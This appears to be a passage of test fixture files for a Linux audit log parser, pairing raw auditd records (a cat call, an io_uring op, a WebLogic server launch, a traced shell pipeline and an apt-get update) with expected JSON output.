obj=system_u:object_r:su_exec_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 9 | type=SYSCALL msg=audit(1678283440.683:225): arch=c000003e syscall=4 success=yes exit=0 a0=7edd0caa2e7e0 a1=7345b64adba0 a2=7ff9874adba0 a3=feefeffefefefeff items=1 ppid=816 pid=818 auid=4292467295 uid=502 gid=502 euid=502 suid=502 fsuid=502 egid=502 sgid=502 fsgid=502 tty=(none) ses=4296967295 comm="cat" exe="/usr/bin/cat" subj=system_u:system_r:system_t:s0 key=(null) 10 | type=EOE msg=audit(1678283440.683:225): 11 | -------------------------------------------------------------------------------- /src/testdata/record-uringop.json: -------------------------------------------------------------------------------- 1 | {"ID":"1737533617.373:12266329","URINGOP":[{"uring_op":18,"success":"yes","exit":0,"items":0,"ppid":140504,"pid":3178806,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"subj":"unconfined","key":null}]} 2 | -------------------------------------------------------------------------------- /src/testdata/record-uringop.txt: -------------------------------------------------------------------------------- 1 | type=URINGOP msg=audit(1737533617.373:12266329): uring_op=18 success=yes exit=0 items=0 ppid=140504 pid=3178806 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 subj=unconfined key=(null) 2 | type=EOE msg=audit(1737533617.373:12266329): 3 | -------------------------------------------------------------------------------- /src/testdata/record-weblogic.json: -------------------------------------------------------------------------------- 1 | {"ID":"1734013587.483:2679223","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":1362170,"pid":1362221,"auid":4294967295,"uid":1000,"gid":1000,"euid":1000,"suid":1000,"fsuid":1000,"egid":1000,"sgid":1000,"fsgid":1000,"tty":"(none)","ses":4294967295,"comm":"java","exe":"/usr/java/jdk1.8.0_151/bin/java","subj":"docker-default","key":null,"ARGV":["0x1b5cda0","0x1b762a0","0x1b70790","0x7ffc6132eef0"]},"EXECVE":{"argc":14,"ARGV":["/usr/java/jdk1.8.0_151/bin/java","-server","-Djava.security.egd=file:/dev/./urandom","-cp","/u01/oracle/wlserver/server/lib/weblogic-launcher.jar","-Dlaunch.use.env.classpath=true","-Dweblogic.Name=AdminServer","-Djava.security.policy=/u01/oracle/wlserver/server/lib/weblogic.policy","-Djava.system.class.loader=com.oracle.classloader.weblogic.LaunchClassLoader","-javaagent:/u01/oracle/wlserver/server/lib/debugpatch-agent.jar","-da","-Dwls.home=/u01/oracle/wlserver/server","-Dweblogic.home=/u01/oracle/wlserver/server","weblogic.Server"]},"CWD":{"cwd":"/u01/oracle/user_projects/domains/base_domain"},"PATH":[{"item":0,"name":"/usr/java/jdk1.8.0_151/bin/java","inode":820124,"dev":"00:2f","mode":"0o100755","ouid":10,"ogid":143,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0"},{"item":1,"name":"/lib64/ld-linux-x86-64.so.2","inode":814974,"dev":"00:2f","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0"}]} 2 | -------------------------------------------------------------------------------- /src/testdata/record-weblogic.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1734013587.483:2679223): arch=c000003e syscall=59 success="yes" exit=0 a0=1b5cda0 a1=1b762a0 a2=1b70790 a3=7ffc6132eef0 items=2 ppid=1362170 pid=1362221 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty="(none)" ses=4294967295 comm="java" exe="/usr/java/jdk1.8.0_151/bin/java" subj="docker-default" key=(null) 2 | type=EXECVE msg=audit(1734013587.483:2679223): argc=14 a0="/usr/java/jdk1.8.0_151/bin/java" a1="-server" a2="-Djava.security.egd=file:/dev/./urandom" a3="-cp" a4="/u01/oracle/wlserver/server/lib/weblogic-launcher.jar" a5="-Dlaunch.use.env.classpath=true" a6="-Dweblogic.Name=AdminServer" a7="-Djava.security.policy=/u01/oracle/wlserver/server/lib/weblogic.policy" a8="-Djava.system.class.loader=com.oracle.classloader.weblogic.LaunchClassLoader" a9="-javaagent:/u01/oracle/wlserver/server/lib/debugpatch-agent.jar" a10="-da" a11="-Dwls.home=/u01/oracle/wlserver/server" a12="-Dweblogic.home=/u01/oracle/wlserver/server" a13="weblogic.Server" 3 | type=CWD msg=audit(1734013587.483:2679223): cwd="/u01/oracle/user_projects/domains/base_domain" 4 | type=PATH msg=audit(1734013587.483:2679223): item=0 name="/usr/java/jdk1.8.0_151/bin/java" inode=820124 dev="00:2f" mode=100755 ouid=10 ogid=143 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" 5 | type=PATH msg=audit(1734013587.483:2679223): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=814974 dev="00:2f" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" 6 | type=EOE msg=audit(1734013587.483:2679223): 7 | -------------------------------------------------------------------------------- /src/testdata/shell-proc-trace-reordered.txt: -------------------------------------------------------------------------------- 1 | # The script execution has been marked with the key "test-script". 2 | 3 | # fork + exec by parent shell 4 | type=SYSCALL msg=audit(1682609045.526:29237): arch=c000003e syscall=56 success=yes exit=71505 a0=1200011 a1=0 a2=0 a3=7fb30981aa10 items=0 ppid=3505 pid=71432 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="bash" exe="/usr/bin/bash" subj=unconfined key="fork" 5 | 6 | type=SYSCALL msg=audit(1682609045.526:29238): arch=c000003e syscall=59 success=yes exit=0 a0=55fdabf92380 a1=55fdabf99b20 a2=55fdabf2f2d0 a3=6ba537a8c6848fb8 items=4 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="test-script" 7 | type=EXECVE msg=audit(1682609045.526:29238): argc=2 a0="/bin/sh" a1="./src/testdata/double-fork/test-script.sh" 8 | type=CWD msg=audit(1682609045.526:29238): cwd="/home/user/src/laurel" 9 | type=PATH msg=audit(1682609045.526:29238): item=0 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 10 | type=PATH msg=audit(1682609045.526:29238): item=1 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 11 | type=PATH msg=audit(1682609045.526:29238): item=2 name="/bin/sh" inode=394147 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 12 | type=PATH msg=audit(1682609045.526:29238): item=3 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 13 | 14 | # forks for pipe setup 15 | type=SYSCALL msg=audit(1682609045.530:29239): arch=c000003e syscall=56 success=yes exit=71506 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" 16 | 17 | type=SYSCALL msg=audit(1682609045.530:29240): arch=c000003e syscall=56 success=yes exit=71507 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" 18 | 19 | type=SYSCALL msg=audit(1682609045.530:29241): arch=c000003e syscall=56 success=yes exit=71508 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" 20 | 21 | type=SYSCALL msg=audit(1682609045.530:29242): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6ea8 a1=55d85f7e6bc0 a2=55d85f7e6bd8 a3=6b85af46a9ffd8dd items=3 ppid=71505 pid=71507 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="grep" exe="/usr/bin/grep" subj=unconfined key=(null) 22 | type=EXECVE msg=audit(1682609045.530:29242): argc=2 a0="grep" a1="baz" 23 | type=CWD msg=audit(1682609045.530:29242): cwd="/home/user/src/laurel" 24 | type=PATH msg=audit(1682609045.530:29242): item=0 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 25 | type=PATH msg=audit(1682609045.530:29242): item=1 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 26 | type=PATH msg=audit(1682609045.530:29242): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 27 | 28 | type=SYSCALL msg=audit(1682609045.530:29243): arch=c000003e syscall=56 success=yes exit=71509 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" 29 | 30 | type=SYSCALL msg=audit(1682609045.530:29244): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6bc8 a2=55d85f7e6be0 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71508 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="echo" exe="/usr/bin/echo" subj=unconfined key=(null) 31 | type=EXECVE msg=audit(1682609045.530:29244): argc=2 a0="/bin/echo" a1="foo" 32 | type=CWD msg=audit(1682609045.530:29244): cwd="/home/user/src/laurel" 33 | type=PATH msg=audit(1682609045.530:29244): item=0 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 34 | type=PATH msg=audit(1682609045.530:29244): item=1 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 35 | type=PATH msg=audit(1682609045.530:29244): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 36 | 37 | type=SYSCALL msg=audit(1682609045.534:29245): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6be8 a2=55d85f7e6e78 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71509 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="sed" exe="/usr/bin/sed" subj=unconfined key=(null) 38 | type=EXECVE msg=audit(1682609045.534:29245): argc=3 a0="/bin/sed" a1="-e" a2="s/foo/bar/" 39 | type=CWD msg=audit(1682609045.534:29245): cwd="/home/user/src/laurel" 40 | type=PATH msg=audit(1682609045.534:29245): item=0 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 41 | type=PATH msg=audit(1682609045.534:29245): item=1 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 42 | type=PATH msg=audit(1682609045.534:29245): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 43 | 44 | type=EOE msg=audit(1682609045.534:29245): 45 | type=EOE msg=audit(1682609045.530:29244): 46 | type=EOE msg=audit(1682609045.530:29243): 47 | type=EOE msg=audit(1682609045.530:29242): 48 | type=EOE msg=audit(1682609045.530:29241): 49 | type=EOE msg=audit(1682609045.530:29240): 50 | type=EOE msg=audit(1682609045.530:29239): 51 | type=EOE msg=audit(1682609045.526:29238): 52 | type=EOE msg=audit(1682609045.526:29237): 53 | -------------------------------------------------------------------------------- /src/testdata/shell-proc-trace.txt: -------------------------------------------------------------------------------- 1 | # Trace of a script: 2 | 3 | # ,---- 4 | # | #!/bin/sh 5 | # | 6 | # | ( /bin/echo foo | /bin/sed -e 's/foo/bar/' ) | /bin/grep bar 7 | # `---- 8 | 9 | # This is what happens in this trace: 10 | # 11 | # (71432) 12 | # | fork 13 | # | 14 | # | exec test-script.sh 15 | # (71505) 16 | # / \ fork 17 | # / \ 18 | # / \ exec grep bar 19 | # (71506) (71507) 20 | # fork / \ fork 21 | # / \ 22 | # exec echo foo / \ exec sed -e s/foo/bar/ 23 | # (71508 (71509) 24 | 25 | # The script execution has been marked with the key "test-script". 26 | 27 | # fork + exec by parent shell 28 | type=SYSCALL msg=audit(1682609045.526:29237): arch=c000003e syscall=56 success=yes exit=71505 a0=1200011 a1=0 a2=0 a3=7fb30981aa10 items=0 ppid=3505 pid=71432 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="bash" exe="/usr/bin/bash" subj=unconfined key="fork" 29 | type=EOE msg=audit(1682609045.526:29237): 30 | 31 | type=SYSCALL msg=audit(1682609045.526:29238): arch=c000003e syscall=59 success=yes exit=0 a0=55fdabf92380 a1=55fdabf99b20 a2=55fdabf2f2d0 a3=6ba537a8c6848fb8 items=4 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="test-script" 32 | type=EXECVE msg=audit(1682609045.526:29238): argc=2 a0="/bin/sh" a1="./src/testdata/double-fork/test-script.sh" 33 | type=CWD msg=audit(1682609045.526:29238): cwd="/home/user/src/laurel" 34 | type=PATH msg=audit(1682609045.526:29238): item=0 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 35 | type=PATH msg=audit(1682609045.526:29238): item=1 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 36 | type=PATH msg=audit(1682609045.526:29238): item=2 name="/bin/sh" inode=394147 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 37 | type=PATH msg=audit(1682609045.526:29238): item=3 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 38 | type=EOE msg=audit(1682609045.526:29238): 39 | 40 | # forks for pipe setup 41 | type=SYSCALL msg=audit(1682609045.530:29239): arch=c000003e syscall=56 success=yes exit=71506 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" 42 | type=EOE msg=audit(1682609045.530:29239): 43 | 44 | type=SYSCALL msg=audit(1682609045.530:29240): arch=c000003e syscall=56 success=yes exit=71507 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" 45 | type=EOE msg=audit(1682609045.530:29240): 46 | 47 | type=SYSCALL msg=audit(1682609045.530:29241): arch=c000003e syscall=56 success=yes exit=71508 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" 48 | type=EOE msg=audit(1682609045.530:29241): 49 | 50 | type=SYSCALL msg=audit(1682609045.530:29242): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6ea8 a1=55d85f7e6bc0 a2=55d85f7e6bd8 a3=6b85af46a9ffd8dd items=3 ppid=71505 pid=71507 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="grep" exe="/usr/bin/grep" subj=unconfined key=(null) 51 | type=EXECVE msg=audit(1682609045.530:29242): argc=2 a0="grep" a1="baz" 52 | type=CWD msg=audit(1682609045.530:29242): cwd="/home/user/src/laurel" 53 | type=PATH msg=audit(1682609045.530:29242): item=0 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 54 | type=PATH msg=audit(1682609045.530:29242): item=1 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 55 | type=PATH msg=audit(1682609045.530:29242): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 56 | type=EOE msg=audit(1682609045.530:29242): 57 | 58 | type=SYSCALL msg=audit(1682609045.530:29243): arch=c000003e syscall=56 success=yes exit=71509 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" 59 | type=EOE msg=audit(1682609045.530:29243): 60 | 61 | type=SYSCALL msg=audit(1682609045.530:29244): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6bc8 a2=55d85f7e6be0 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71508 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="echo" exe="/usr/bin/echo" subj=unconfined key=(null) 62 | type=EXECVE msg=audit(1682609045.530:29244): argc=2 a0="/bin/echo" a1="foo" 63 | type=CWD msg=audit(1682609045.530:29244): cwd="/home/user/src/laurel" 64 | type=PATH msg=audit(1682609045.530:29244): item=0 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 65 | type=PATH msg=audit(1682609045.530:29244): item=1 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 66 | type=PATH msg=audit(1682609045.530:29244): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 67 | type=EOE msg=audit(1682609045.530:29244): 68 | 69 | type=SYSCALL msg=audit(1682609045.534:29245): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6be8 a2=55d85f7e6e78 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71509 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="sed" exe="/usr/bin/sed" subj=unconfined key=(null) 70 | type=EXECVE msg=audit(1682609045.534:29245): argc=3 a0="/bin/sed" a1="-e" a2="s/foo/bar/" 71 | type=CWD msg=audit(1682609045.534:29245): cwd="/home/user/src/laurel" 72 | type=PATH msg=audit(1682609045.534:29245): item=0 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 73 | type=PATH msg=audit(1682609045.534:29245): item=1 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 74 | type=PATH msg=audit(1682609045.534:29245): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 75 | type=EOE msg=audit(1682609045.534:29245): 76 | -------------------------------------------------------------------------------- /src/testdata/tree/00.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180383.030:299896): arch=c000003e syscall=59 success=yes exit=0 a0=55c7464eed38 a1=55c7464f4fd8 a2=55c7464efca0 a3=0 items=3 ppid=722675 pid=722676 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="apt-get" exe="/usr/bin/apt-get" subj==unconfined key="software_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180383.030:299896): argc=2 a0="apt-get" a1="update" 3 | type=CWD msg=audit(1654180383.030:299896): cwd="/" 4 | type=PATH msg=audit(1654180383.030:299896): item=0 name="/usr/bin/apt-get" inode=394263 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180383.030:299896): item=1 name="/usr/bin/apt-get" inode=394263 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180383.030:299896): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180383.030:299896): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/01.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180383.046:299897): arch=c000003e syscall=59 success=yes exit=0 a0=564c986288a0 a1=564c9862df30 a2=7ffc8fdcce50 a3=564c9862e7e0 items=3 ppid=722676 pid=722677 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="dpkg" exe="/usr/bin/dpkg" subj==unconfined key="pkg_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180383.046:299897): argc=2 a0="/usr/bin/dpkg" a1="--print-foreign-architectures" 3 | type=CWD msg=audit(1654180383.046:299897): cwd="/" 4 | type=PATH msg=audit(1654180383.046:299897): item=0 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180383.046:299897): item=1 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180383.046:299897): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180383.046:299897): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/02.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180383.130:299898): arch=c000003e syscall=59 success=yes exit=0 a0=564c986b83d0 a1=7ffc8fdcbd70 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722678 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="http" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180383.130:299898): argc=1 a0="/usr/lib/apt/methods/http" 3 | type=CWD msg=audit(1654180383.130:299898): cwd="/" 4 | type=PATH msg=audit(1654180383.130:299898): item=0 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180383.130:299898): item=1 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180383.130:299898): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180383.130:299898): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/03.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180383.138:299899): arch=c000003e syscall=59 success=yes exit=0 a0=564c98690560 a1=7ffc8fdcbd70 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722679 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="https" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180383.138:299899): argc=1 a0="/usr/lib/apt/methods/https" 3 | type=CWD msg=audit(1654180383.138:299899): cwd="/" 4 | type=PATH msg=audit(1654180383.138:299899): item=0 name="/usr/lib/apt/methods/https" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH 